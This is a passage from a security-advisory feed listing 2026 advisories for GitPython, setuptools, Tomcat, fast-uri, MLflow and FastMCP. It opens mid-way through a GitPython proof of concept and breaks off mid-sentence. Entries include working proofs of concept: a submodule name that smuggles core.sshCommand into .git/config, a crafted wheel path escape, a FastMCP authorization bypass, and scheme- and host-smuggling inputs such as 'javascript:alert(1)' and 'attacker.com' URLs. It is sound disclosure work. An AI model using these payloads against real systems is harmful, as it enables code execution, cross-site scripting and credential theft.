 run("git", "add", "r", cwd=p); run("git", "commit", "-qm", "i", cwd=p)
 return p

def injected_sshcommand(parent):
 r = run("git", "config", "-f", os.path.join(parent, ".git", "config"),
 "--get", "core.sshCommand")
 return (r.returncode, r.stdout.strip())

benign = "docs"
evil = f'x"] [core] sshCommand={MARKER} #' # closes the header, opens [core]

p_control = parent_repo()
git.Repo(p_control).create_submodule(name=benign, path="docs", url=suburl)
p_exploit = parent_repo()
git.Repo(p_exploit).create_submodule(name=evil, path="sub", url=suburl)

ctl = injected_sshcommand(p_control)
exp = injected_sshcommand(p_exploit)
header = [l for l in open(os.path.join(p_exploit, ".git", "config")).read().splitlines()
 if l.startswith("[submodule")][0]

print("control name :", repr(benign))
print(" git core.sshCommand ->", ctl, "(unset)")
print("exploit name :", repr(evil))
print(" written header ->", header)
print(" git core.sshCommand ->", exp)

assert ctl[0] != 0 and ctl[1] == "", "control unexpectedly set core.sshCommand"
assert exp == (0, MARKER), "not reproduced"
print(f"VERDICT: attacker-controlled submodule name injected core.sshCommand={MARKER} "
 f"into the victim's trusted .git/config (git would run it on the next ssh op)")
```

Run:

```bash
uv run --with GitPython==3.1.52 python poc.py
```

Observed output:

```
# GitPython 3.1.52
control name : 'docs'
 git core.sshCommand -> (1, '') (unset)
exploit name : 'x"] [core] sshCommand=MARKER_9f3a #'
 written header -> [submodule "x"] [core] sshCommand=MARKER_9f3a #"]
 git core.sshCommand -> (0, 'MARKER_9f3a')
VERDICT: attacker-controlled submodule name injected core.sshCommand=MARKER_9f3a into the victim's trusted .git/config (git would run it on the next ssh op)
```

The benign name yields a single clean `[submodule "docs"]` section; the malicious name yields an injected `core.sshCommand`. Deterministic across runs. The payload must use balanced double-quotes (an unbalanced `"` makes git reject the header); the `submodule " "` wrapper balances them automatically.

### Impact

Arbitrary attacker-controlled write into the victim's repository-local `.git/config`, which git fully trusts. `core.sshCommand` is executed as the ssh transport command on the victim's next ssh git operation (fetch/pull/push), giving remote code execution; other injectable keys (`alias.*`, `core.pager`, `core.fsmonitor`) fire on more common operations. Reachable in default configuration through two realistic paths:

- an application that constructs a submodule from untrusted input via `Repo.create_submodule(name=...)` (single call); or
- `Repo.clone_from` of an untrusted repository followed by `submodule_update` — the canonical submodule threat model, where the malicious name is read from the cloned `.gitmodules`.

No non-default git settings are required. Primarily a Unix vector: on Windows the `"` in the resulting `.git/modules/ ` directory name can

Affected package ranges reported by GitHub:
gitpython: <= 3.1.52
Action: GitHub lists first patched versions: gitpython: 3.1.53. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### setuptools: Windows path escape via namespace_packages.txt during legacy wheel installation  Description
https://kevwire.com/record/GHSA-xmj3-9gf7-h52w
setuptools: Windows path escape via namespace_packages.txt during legacy wheel installation  Description (Oct 23, 2026).
On Windows, attacker-controlled content in a wheel's
`.dist-info/namespace_packages.txt` can cause setuptools' legacy wheel
installation path to create an `__init__.py` outside the requested
`destination_eggdir`.

The attacker can influence the destination path, but not the contents of
the created file.
CVSS 1.0 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-xmj3-9gf7-h52w).
Sources:
GitHub-reviewed advisory GHSA-xmj3-9gf7-h52w: https://github.com/advisories/GHSA-xmj3-9gf7-h52w
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
### Summary

On Windows, attacker-controlled content in a wheel's
`.dist-info/namespace_packages.txt` can cause setuptools' legacy wheel
installation path to create an `__init__.py` outside the requested
`destination_eggdir`.

The attacker can influence the destination path, but not the contents of
the created file.

### Details

Tested setuptools commit:

`6ead555c5fb29bc57fe6105b1bffc163f56fd558`

Relevant source:

`setuptools/wheel.py`

SHA-256:

`359b7e0d5dd8c3135653abe08a8ed5dc0352eadfd7df22cb5e2b5303b7c3cafd`

The relevant call path is:

`Wheel(wheel_path).install_as_egg(destination)`
→ `_install_as_egg`
→ `_convert_metadata`
→ `_fix_namespace_packages`

A wheel can provide attacker-controlled content in:

` .dist-info/namespace_packages.txt`

The namespace value is eventually used approximately as:

```python
mod_dir = os.path.join(destination_eggdir, *mod.split('.'))
mod_init = os.path.join(mod_dir, '__init__.py')

If mod is a Windows drive-qualified absolute path containing no dots,
mod.split('.') preserves it as a single component.
On Windows, os.path.join(destination_eggdir, absolute_component) discards
the original base directory and resolves to the attacker-supplied absolute
path.
The existing wheel filename and ZIP traversal checks do not validate this
metadata value before it is subsequently interpreted as a filesystem path.

```markdown
### PoC

The reproduction was performed entirely inside a disposable temporary
directory.

Layout:

```text
sandbox/
 destination/
 outside/
 input/
 canary.txt
```

A synthetic wheel was created containing:

`demo_pkg-1.0.dist-info/namespace_packages.txt`

whose content was the absolute path of:

`sandbox\outside`

The real acquired setuptools implementation was then invoked:

```python
setuptools.wheel.Wheel(synthetic_wheel).install_as_egg(
 sandbox_destination
)
```

The operation completed without exception.

Expected metadata was created under:

`sandbox\destination\EGG-INFO`

but setuptools also created:

`sandbox\outside\__init__.py`

The file did not exist before execution.

Its contents were:

```python
__import__('pkg_resources').declare_namespace(__name__)
```

The unrelated canary remained byte-identical.

The sandbox was deleted after recording the evidence.
```

### Impact

A crafted wheel can cause setuptools to create a fixed-content
`__init__.py` outside the intended installation directory at a
filesystem path influenced by the wheel, with the permissions of the
process performing the installation.

The demonstrated reproduction required the target parent directory to
already exist.

Affected package ranges reported by GitHub:
setuptools: >= 38.2.2, < 84.1.0
Action: GitHub lists first patched versions: setuptools: 84.1.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Apache Tomcat util accepted misconfigured CRLs
https://kevwire.com/record/CVE-2026-53434
Apache Tomcat util accepted misconfigured CRLs (Jun 29, 2026).
Detection of Error Condition Without Action vulnerability in Apache Tomcat when configuring Certificate Revocation List (CRLs) for a FFM based connector. If an FFM connector was configured with invalid CRLs, the invalid CRLs were ignored meaning invalid certificates could be accepted.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.22, from 10.1.0-M7 through 10.1.55, from 9.0.83 through 9.0.118.
CVSS 9.1 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-4x29-79gh-6v8q).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-53434&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-4x29-79gh-6v8q: https://github.com/advisories/GHSA-4x29-79gh-6v8q
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-53434&date=2026-10-25
Detection of Error Condition Without Action vulnerability in Apache Tomcat when configuring Certificate Revocation List (CRLs) for a FFM based connector. If an FFM connector was configured with invalid CRLs, the invalid CRLs were ignored meaning invalid certificates could be accepted.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.22, from 10.1.0-M7 through 10.1.55, from 9.0.83 through 9.0.118.

Users are recommended to upgrade to version 11.0.23, 10.1.56 or 9.0.119, which fixes the issue.

Affected package ranges reported by GitHub:
org.apache.tomcat:tomcat-util: >= 11.0.0-M1, <= 11.0.22
org.apache.tomcat:tomcat-util: >= 10.1.0-M7, <= 10.1.55
org.apache.tomcat:tomcat-util: >= 9.0.83, <= 9.0.118
Action: GitHub lists first patched versions: org.apache.tomcat:tomcat-util: 11.0.23; org.apache.tomcat:tomcat-util: 10.1.56; org.apache.tomcat:tomcat-util: 9.0.119. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### fast-uri vulnerable to URI scheme spoofing via percent-encoded scheme decoding
https://kevwire.com/record/CVE-2026-110306
fast-uri vulnerable to URI scheme spoofing via percent-encoded scheme decoding (Oct 23, 2026).
`fast-uri` percent-decodes the scheme component with the legacy global `unescape()` before validating it, so an input whose decoded scheme is a valid but dangerous token is emitted as a live scheme. RFC 3986 section 3.1 does not allow percent-encoding in a scheme, so no RFC or WHATWG parser treats such input as having that scheme, but `fast-uri` does.

For example, `normalize('%6Aavascript:alert(1)')` returns `javascript:alert(1)`, `resolve('https://a.example/', '%6Aavascript:alert(1)')` returns `javascript:alert(1)`, and `parse('%6Aavascript:alert(1)').scheme` returns `javascript`. The `%uXXXX` form (`%u006Aavascript:`) produces the same result, and `equal('%68ttp://a/', 'http://a/')` returns `true`.
CVSS 6.1 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-w74x-v6f9-j3xg).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110306&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-w74x-v6f9-j3xg: https://github.com/advisories/GHSA-w74x-v6f9-j3xg
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110306&date=2026-10-25
### Impact

`fast-uri` percent-decodes the scheme component with the legacy global `unescape()` before validating it, so an input whose decoded scheme is a valid but dangerous token is emitted as a live scheme. RFC 3986 section 3.1 does not allow percent-encoding in a scheme, so no RFC or WHATWG parser treats such input as having that scheme, but `fast-uri` does.

For example, `normalize('%6Aavascript:alert(1)')` returns `javascript:alert(1)`, `resolve('https://a.example/', '%6Aavascript:alert(1)')` returns `javascript:alert(1)`, and `parse('%6Aavascript:alert(1)').scheme` returns `javascript`. The `%uXXXX` form (`%u006Aavascript:`) produces the same result, and `equal('%68ttp://a/', 'http://a/')` returns `true`.

An application that screens dangerous schemes on the raw input and then stores or renders `normalize(input)` or `resolve(base, input)` turns an inert string into an executable `javascript:`, `data:`, or `vbscript:` URL, a stored or reflected cross-site scripting vector in the consuming application. `equal()` also treats an encoded and a plain scheme as the same, which can bypass equality-based allowlists.

### Patches

Upgrade to `fast-uri` `2.4.8`, `3.1.9`, or `4.2.3`.

### Workarounds

Reject input whose scheme part (before the first `:`, and before any `/`, `?`, or `#`) contains `%`. Alternatively, check `parse(x).scheme` against an allowlist after normalization and use that same parsed result rather than the raw string.

Affected package ranges reported by GitHub:
fast-uri: < 2.4.8
fast-uri: >= 3.0.0, < 3.1.9
fast-uri: >= 4.0.0, < 4.2.3
Action: GitHub lists first patched versions: fast-uri: 2.4.8; fast-uri: 3.1.9; fast-uri: 4.2.3. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### fast-uri vulnerable to improper path equivalence in relative reference normalization
https://kevwire.com/record/CVE-2026-110095
fast-uri vulnerable to improper path equivalence in relative reference normalization (Oct 23, 2026).
`fast-uri`'s `normalize()` and `serialize()` apply RFC 3986 dot-segment removal (`remove_dot_segments`) to the path of a relative-path reference. RFC 3986 section 5.2.4 defines that algorithm only for the merged target path during resolution, not for the reference itself, so applied to the reference it drops leading `..` segments and can turn a document-relative reference into a root-relative one.

For example, `normalize('a/../b')` returns `/b` and `normalize('../x')` returns `x`, so `resolve(base, normalize(ref))` points at a different resource than `resolve(base, ref)`, and `equal()` treats distinct references as the same.
CVSS 3.7 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-xhq7-xmqj-769h).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110095&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-xhq7-xmqj-769h: https://github.com/advisories/GHSA-xhq7-xmqj-769h
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110095&date=2026-10-25
### Impact

`fast-uri`'s `normalize()` and `serialize()` apply RFC 3986 dot-segment removal (`remove_dot_segments`) to the path of a relative-path reference. RFC 3986 section 5.2.4 defines that algorithm only for the merged target path during resolution, not for the reference itself, so applied to the reference it drops leading `..` segments and can turn a document-relative reference into a root-relative one.

For example, `normalize('a/../b')` returns `/b` and `normalize('../x')` returns `x`, so `resolve(base, normalize(ref))` points at a different resource than `resolve(base, ref)`, and `equal()` treats distinct references as the same.

Applications that normalize attacker-supplied or user-supplied relative references and then resolve them, or use them as cache, deduplication, or authorization keys, can have a reference escape its intended directory and point at a different resource.

### Patches

Upgrade to `fast-uri` `2.4.8`, `3.1.9`, or `4.2.3`.

### Workarounds

Do not normalize a relative reference before resolving it. Resolve it against the absolute base first, then normalize the absolute result.

Affected package ranges reported by GitHub:
fast-uri: < 2.4.8
fast-uri: >= 3.0.0, < 3.1.9
fast-uri: >= 4.0.0, < 4.2.3
Action: GitHub lists first patched versions: fast-uri: 2.4.8; fast-uri: 3.1.9; fast-uri: 4.2.3. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### fast-uri vulnerable to host confusion via unchecked WHATWG host canonicalization
https://kevwire.com/record/CVE-2026-110180
fast-uri vulnerable to host confusion via unchecked WHATWG host canonicalization (Oct 23, 2026).
`fast-uri` versions `>= 2.4.2, = 3.1.3, = 4.0.1, <= 4.2.2` can silently rewrite the host of an HTTP-family URL (`http`, `https`, `ws`, `wss`, or any scheme with `domainHost: true`). For those schemes `canonicalizeHost()` passes the parsed host to the WHATWG `URL` parser and adopts its `.hostname` without checking that the parser read the whole input as a host. RFC 3986 permits `@` inside the host group and the WHATWG parser strips TAB, LF, and CR, so the authority `fast-uri` reports is rewritten by that second parser with no `error` set: data before an `@` is dropped and whitespace is removed.

For example, `fast-uri` parses `http://a@b@evil.example/` to host `evil.example` (dropping the `b` segment), and a host containing a raw TAB, CR, or LF has those characters stripped. `equal()` then treats a whitespace-smuggled host as the same as the clean one, and `resolve()` rewrites the authority the same way.
CVSS 4.8 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-wjr9-j795-jxcr).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110180&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-wjr9-j795-jxcr: https://github.com/advisories/GHSA-wjr9-j795-jxcr
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110180&date=2026-10-25
### Impact

`fast-uri` versions `>= 2.4.2, = 3.1.3, = 4.0.1, <= 4.2.2` can silently rewrite the host of an HTTP-family URL (`http`, `https`, `ws`, `wss`, or any scheme with `domainHost: true`). For those schemes `canonicalizeHost()` passes the parsed host to the WHATWG `URL` parser and adopts its `.hostname` without checking that the parser read the whole input as a host. RFC 3986 permits `@` inside the host group and the WHATWG parser strips TAB, LF, and CR, so the authority `fast-uri` reports is rewritten by that second parser with no `error` set: data before an `@` is dropped and whitespace is removed.

For example, `fast-uri` parses `http://a@b@evil.example/` to host `evil.example` (dropping the `b` segment), and a host containing a raw TAB, CR, or LF has those characters stripped. `equal()` then treats a whitespace-smuggled host as the same as the clean one, and `resolve()` rewrites the authority the same way.

Applications that use `fast-uri` to enforce host-based policy (denylists, loopback filtering, redirect validation, outbound proxy routing) on one representation, such as the raw input, see a policy/use desync: the canonical host `fast-uri` returns differs from what was checked, and traffic can be steered to an unintended destination.

### Patches

Upgrade to `fast-uri` `2.4.8`, `3.1.9`, or `4.2.3`.

### Workarounds

Reject URIs whose authority contains more than one `@`, or contains TAB, CR, or LF, before calling `fast-uri`. Alternatively, treat any non-empty `parse(x).error` as fatal, and compare hosts only from the same `parse()` result.

Affected package ranges reported by GitHub:
fast-uri: >= 2.4.2, < 2.4.8
fast-uri: >= 3.1.3, < 3.1.9
fast-uri: >= 4.0.1, < 4.2.3
Action: GitHub lists first patched versions: fast-uri: 2.4.8; fast-uri: 3.1.9; fast-uri: 4.2.3. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### fast-uri vulnerable to scheme injection via an unescaped first-segment colon in suffix references
https://kevwire.com/record/CVE-2026-110725
fast-uri vulnerable to scheme injection via an unescaped first-segment colon in suffix references (Oct 23, 2026).
`fast-uri`'s `serialize()`, `normalize()`, and `resolve()`, when called with the non-default option `reference: 'suffix'` on a reference that has no authority, emit a relative reference whose first path segment contains a bare colon without escaping it. RFC 3986 section 3.3 requires the first segment of a `path-noscheme` reference not to contain a colon, precisely because a bare colon makes the string reparse as an absolute URI with a scheme. `fast-uri`'s default serialization escapes that colon, but the suffix path does not.

For example, `normalize('javascript:alert(1)', { reference: 'suffix' })` returns `javascript:alert(1)`, which reparses as a live `javascript:` scheme; `data:` and `vbscript:` behave the same.
CVSS 3.7 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-333x-w4r6-6crp).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110725&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-333x-w4r6-6crp: https://github.com/advisories/GHSA-333x-w4r6-6crp
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110725&date=2026-10-25
### Impact

`fast-uri`'s `serialize()`, `normalize()`, and `resolve()`, when called with the non-default option `reference: 'suffix'` on a reference that has no authority, emit a relative reference whose first path segment contains a bare colon without escaping it. RFC 3986 section 3.3 requires the first segment of a `path-noscheme` reference not to contain a colon, precisely because a bare colon makes the string reparse as an absolute URI with a scheme. `fast-uri`'s default serialization escapes that colon, but the suffix path does not.

For example, `normalize('javascript:alert(1)', { reference: 'suffix' })` returns `javascript:alert(1)`, which reparses as a live `javascript:` scheme; `data:` and `vbscript:` behave the same.

Applications that serialize or normalize a relative reference with `reference: 'suffix'` and then treat the result as a URI can turn inert input into a live `javascript:`, `data:`, or `vbscript:` URL (a cross-site scripting vector), and `equal()` can conflate a scheme-bearing reference with a relative one. Exposure is limited to applications that use the non-default `reference: 'suffix'` option.

### Patches

Upgrade to `fast-uri` `2.4.8`, `3.1.9`, or `4.2.3`.

### Workarounds

Do not use the `reference: 'suffix'` option on untrusted input. If suffix output is required, percent-encode a colon in the first path segment of the result before treating it as a URI.

Affected package ranges reported by GitHub:
fast-uri: < 2.4.8
fast-uri: >= 3.0.0, < 3.1.9
fast-uri: >= 4.0.0, < 4.2.3
Action: GitHub lists first patched versions: fast-uri: 2.4.8; fast-uri: 3.1.9; fast-uri: 4.2.3. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### MLflow FileStore trace IDs allow path traversal and arbitrary file writes
https://kevwire.com/record/CVE-2026-53995
MLflow FileStore trace IDs allow path traversal and arbitrary file writes (Oct 19, 2026).
MLflow 3.17.1 and earlier contains a path traversal vulnerability in the FileStore tracking backend that allows unauthenticated attackers to control filesystem paths by submitting a crafted trace ID containing traversal sequences to the POST /api/3.0/mlflow/traces endpoint. Attackers can exploit FileStore.start_trace() to write trace_info.yaml, request_metadata, and tag files with attacker-controlled metadata outside the intended experiment trace directory, subject to the server process's filesystem permissions. FileStore is the default tracking backend before MLflow 3.7.0 and opt-in thereafter (the default changed to a SQLite database), so deployments in the earlier part of the affected range are vulnerable without special configuration while later ones are affected only when FileStore is explicitly selected.
CVSS 8.8 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-wqmh-qccw-pqwf).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-53995&date=2026-10-25).
Sources:
NVD CVE-2026-53995: https://nvd.nist.gov/vuln/detail/CVE-2026-53995
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
GitHub-reviewed advisory GHSA-wqmh-qccw-pqwf: https://github.com/advisories/GHSA-wqmh-qccw-pqwf
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-53995&date=2026-10-25
MLflow 3.17.1 and earlier contains a path traversal vulnerability in the FileStore tracking backend that allows unauthenticated attackers to control filesystem paths by submitting a crafted trace ID containing traversal sequences to the POST /api/3.0/mlflow/traces endpoint. Attackers can exploit FileStore.start_trace() to write trace_info.yaml, request_metadata, and tag files with attacker-controlled metadata outside the intended experiment trace directory, subject to the server process's filesystem permissions. FileStore is the default tracking backend before MLflow 3.7.0 and opt-in thereafter (the default changed to a SQLite database), so deployments in the earlier part of the affected range are vulnerable without special configuration while later ones are affected only when FileStore is explicitly selected.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FastMCP: Post-transform component authorization is skipped on direct calls
https://kevwire.com/record/GHSA-7xgj-8392-5q4r
FastMCP: Post-transform component authorization is skipped on direct calls (Oct 23, 2026).
This report is accepted as a FastMCP authorization vulnerability. In supported configurations, a server transform can change the metadata used by a component's authorization policy. Direct lookups previously checked the original component but returned the transformed component without rechecking its policy. A client that knows the component identifier can invoke a tool or retrieve a resource or prompt that the configured policy denies.

The fixes authorize the final transformed tools, resources, templates, and prompts. A denied concrete resource also shadows a matching resource template at its URI, preventing proxy templates from retrieving the same protected resource upstream. Authorized callers, authorized component versions, and templates for genuinely absent concrete resources remain supported.
CVSS 6.8 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-7xgj-8392-5q4r).
Sources:
GitHub-reviewed advisory GHSA-7xgj-8392-5q4r: https://github.com/advisories/GHSA-7xgj-8392-5q4r
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
## Maintainer assessment and remediation

This report is accepted as a FastMCP authorization vulnerability. In supported configurations, a server transform can change the metadata used by a component's authorization policy. Direct lookups previously checked the original component but returned the transformed component without rechecking its policy. A client that knows the component identifier can invoke a tool or retrieve a resource or prompt that the configured policy denies.

The fixes authorize the final transformed tools, resources, templates, and prompts. A denied concrete resource also shadows a matching resource template at its URI, preventing proxy templates from retrieving the same protected resource upstream. Authorized callers, authorized component versions, and templates for genuinely absent concrete resources remain supported.

Affected stable release lines: FastMCP 3.0.0–3.4.9 and 4.0.0–4.1.1. The missing final authorization check is present in v3.0.0 history and was reproduced on v3.4.9 and v4.1.0. Both `fastmcp` and `fastmcp-slim` installations are affected when using component authorization with transforms or protected concrete resources overlapping proxy templates.

Fixes are available in FastMCP 3.4.10 and 4.1.2. Until upgrading, avoid overlapping proxy templates for protected resources and enforce the required authorization at the handler or server boundary rather than relying on a policy whose inputs are changed by a transform.

## Original report

# Post-transform component authorization is skipped on direct calls

## Summary

FastMCP's direct component paths can return a transformed component before its applicable `AuthCheck`, allowing low-privilege callers to execute hidden protected behavior. I reproduced this against FastMCP 4.1.0 and commit `e2fcc412001ff7414095c5dc282f94c70299a612` using only an in-process FastMCP server. The attacker does not have server-side access and does not control FastMCP configuration.

## Details

### Attacker prerequisites

A server uses a supported provider, server, or session transform and a metadata-aware component `AuthCheck`. The attacker has a valid low-privilege identity, lacks the required scope, and knows or guesses the final transformed component name. They do not control the transform or the policy.

### Root cause

Listing applies transforms and then authorizes the transformed component. In the direct lookup path, FastMCP 4.1.0 applies the transform and returns the component without authorizing that final component. See [`server.py:933-940`](https://github.com/PrefectHQ/fastmcp/blob/v4.1.0/fastmcp_slim/fastmcp/server/server.py#L933-L940). The MCP `tools/call` handler reaches this path; equivalent direct paths exist for resources, templates, and prompts.

## Proof of concept

Save this as `poc_transform_auth.py`:

```python
import anyio

from fastmcp import FastMCP
from fastmcp.server.auth import restrict_tag
from fastmcp.server.transforms.tool_transform import ToolTransform
from fastmcp.tools.base import Tool
from fastmcp.tools.tool_transform import ToolTransformConfig

async def main() -> None:
 server = FastMCP("auth-boundary")
 server.add_tool(
 Tool.from_function(
 lambda: "PROTECTED SECRET",
 name="tagged_tool",
 tags={"public"},
 auth=restrict_tag("admin", scopes=["admin"]),
 )
 )
 server.add_transform(
 ToolTransform({"tagged_tool": ToolTransformConfig(tags={"admin"})})
 )

 print("listed:", [tool.name for tool in await server.list_tools()])
 try:
 result = await server.call_tool("tagged_tool")
 except Exception as exc:
 print("BLOCKED:", type(exc).__name__)
 else:
 print("VULNERABLE: direct call returned", result.content[0].text)

anyio.run(main)
```

Run it in an isolated environment:

```bash
uv run --with fastmcp==4.1.0 -- python poc_transform_auth.py
```

Observed on 4.1.0 for a caller without the `admin` scope:

```text
listed: []
VULNERABLE: direct call returned PROTECTED SECRET
```

## Impact

A low-privilege caller can directly execute administrative tools hidden from listing, including their side effects and returned secrets. The same ordering flaw can expose protected resources, templates, or prompts.

### Recommended remediation

Apply component authorization to the final transformed component in every direct resolution/execution path, after all provider, server, and session transforms. Reuse one ordered resolver for list and direct operations so lookup never returns a transformed component before its applicable `AuthCheck` runs.

## AI assistance

Yes — OpenAI Codex assisted static analysis/PoC/writeup; reproduction was validated against stated version.

Affected package ranges reported by GitHub:
fastmcp: >= 3.0.0, < 3.4.10
fastmcp: >= 4.0.0, < 4.1.2
fastmcp-slim: >= 3.0.0, < 3.4.10
fastmcp-slim: >= 4.0.0, < 4.1.2
Action: GitHub lists first patched versions: fastmcp: 3.4.10; fastmcp: 4.1.2; fastmcp-slim: 3.4.10; fastmcp-slim: 4.1.2. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FastMCP MCP client wrappers construct M2M OAuth providers without issuer binding — client secret redirectable to attacker-advertised authorization server
https://kevwire.com/record/GHSA-vqqp-x5qm-5qp4
FastMCP MCP client wrappers construct M2M OAuth providers without issuer binding — client secret redirectable to attacker-advertised authorization server (Oct 23, 2026).
This report is accepted as a FastMCP credential-binding vulnerability. Affected versions of the OAuth client credentials providers do not expose the authorization-server issuer that owns pre-registered credentials. An untrusted or compromised MCP server can therefore advertise a different authorization server and receive the client secret or a signed assertion. Signing keys themselves remain local; assertion replayability depends on the assertion source and audience policy.

Affected stable versions are 4.0.0–4.1.1 of `fastmcp` and `fastmcp-slim`. The wrappers were introduced in 4.0.0a1; 3.x does not include them.
CVSS 5.9 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-vqqp-x5qm-5qp4).
Sources:
GitHub-reviewed advisory GHSA-vqqp-x5qm-5qp4: https://github.com/advisories/GHSA-vqqp-x5qm-5qp4
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
## Maintainer assessment and remediation

This report is accepted as a FastMCP credential-binding vulnerability. Affected versions of the OAuth client credentials providers do not expose the authorization-server issuer that owns pre-registered credentials. An untrusted or compromised MCP server can therefore advertise a different authorization server and receive the client secret or a signed assertion. Signing keys themselves remain local; assertion replayability depends on the assertion source and audience policy.

Affected stable versions are 4.0.0–4.1.1 of `fastmcp` and `fastmcp-slim`. The wrappers were introduced in 4.0.0a1; 3.x does not include them.

The 4.1.2 fix adds `issuer` to `ClientCredentialsOAuthProvider` and `PrivateKeyJWTOAuthProvider` and requires MCP SDK 2.2.0. It also discards refresh credentials from reloaded tokens: without persisted authorization-server metadata, inherited refresh could otherwise transmit credentials before issuer discovery, including when a cached token was valid at startup and expired later. Cached tokens are isolated by configured issuer, so configuring or changing the issuer acquires a new token. Valid cached access tokens for the same issuer and their expiry remain intact.

**Configuration required for protection:** configure `issuer` with the issuer identifier of the authorization server that issued the credentials. Upgrading alone is insufficient: omission remains supported for compatibility and emits `MCPDeprecationWarning`. Rotate client secrets or other reusable credentials that may already have been sent to an untrusted endpoint. The fix is available in FastMCP 4.1.2.

```python
from fastmcp.client.auth import ClientCredentialsOAuthProvider

auth = ClientCredentialsOAuthProvider(
 client_id="my-client-id",
 client_secret="my-client-secret",
 issuer="https://auth.example.com",
)
```

## Original report

### Summary

fastmcp's ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider do not expose or validate OAuth issuer binding when connecting to MCP servers. A client secret configured for a legitimate authorization server can be transmitted to an attacker-controlled authorization server if the MCP server URL is attacker-supplied or compromised. This is the same vulnerability class as GHSA-qx49-fqc8-xw99 (Python MCP SDK) and GHSA-6qxp-vccf-f47h (TypeScript MCP SDK), applied to fastmcp's wrapper layer.

### Details

When fastmcp connects to an MCP server with OAuth client credentials:

1. Client constructs provider: ClientCredentialsOAuthProvider(client_id=..., client_secret=...)
2. Provider binds to server URL and discovers OAuth metadata
3. Client exchanges credentials at the token endpoint
4. WITHOUT issuer binding: client accepts ANY authorization server the MCP server advertises
5. Attack: attacker-controlled MCP server advertises attacker's authorization server
6. Result: client secret leaked to attacker

Affected code:
- fastmcp/client/auth/client_credentials.py:180-218 (ClientCredentialsOAuthProvider)
 * __init__ signature has no issuer= parameter
 * _bind() calls super().__init__(server_url=mcp_url, ...) without issuer=

- fastmcp/client/auth/client_credentials.py:280-340 (PrivateKeyJWTOAuthProvider) 
 * __init__ signature has no issuer= parameter
 * _bind() calls super().__init__(server_url=mcp_url, ...) without issuer=

The underlying MCP SDK (mcp.client.auth.extensions.client_credentials) supports issuer= parameter, but fastmcp's wrappers neither accept nor forward it.

Example vulnerable usage:
```python
auth = ClientCredentialsOAuthProvider(
 client_id="my-client-id",
 client_secret="my-client-secret",
)
async with Client("https://attacker.com/mcp", auth=auth) as client:
 # Client credentials get sent to attacker's auth server if attacker's MCP 
